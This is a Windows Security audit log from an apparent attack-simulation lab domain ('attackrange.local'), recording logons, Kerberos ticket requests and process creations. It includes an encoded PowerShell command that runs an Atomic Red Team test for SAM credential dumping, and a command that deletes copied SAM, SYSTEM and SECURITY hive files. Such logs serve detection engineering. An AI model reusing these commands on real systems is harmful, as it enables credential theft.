C:\Windows\System32\dllhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258074 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x5d8 - Process Name: C:\Windows\System32\svchost.exe -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=258073 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258072 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258071 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=258070 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=258069 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258106 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b4 - New Process Name: C:\Windows\System32\whoami.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1348 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\whoami.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258105 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcf8 - New Process Name: C:\Windows\System32\HOSTNAME.EXE - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1348 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\HOSTNAME.EXE" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258104 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1348 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa98 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbABlAGEAbgB1AHAA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=258103 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x574157 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258102 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x574157 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00D6810A-2734-CE80-3861-3A463340025F} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258101 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {00D6810A-2734-CE80-3861-3A463340025F} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=258100 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {00D6810A-2734-CE80-3861-3A463340025F} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=258099 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258098 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf04 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa24 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESC479.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCF15F3DEDB853481D858B3F4A761EF1CF.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258097 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa24 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa98 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\s1peraoc.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258112 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc2c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1348 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & {} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258111 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x110c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1348 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\cmd.exe" /c "del" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258110 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa08 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1348 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\cmd.exe" /c "" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258109 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf3c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1348 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\cmd.exe" /c "del %temp%\sam >nul 2> nul & del %temp%\system >nul 2> nul & del %temp%\security >nul 2> nul" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258108 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1330 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x50c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESC841.tmp" "c:\Users\Administrator\AppData\Local\Temp\e244sufx\CSC7C1C5E358814488FB42F9E9A7257837.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258107 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x50c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1348 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\e244sufx\e244sufx.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of 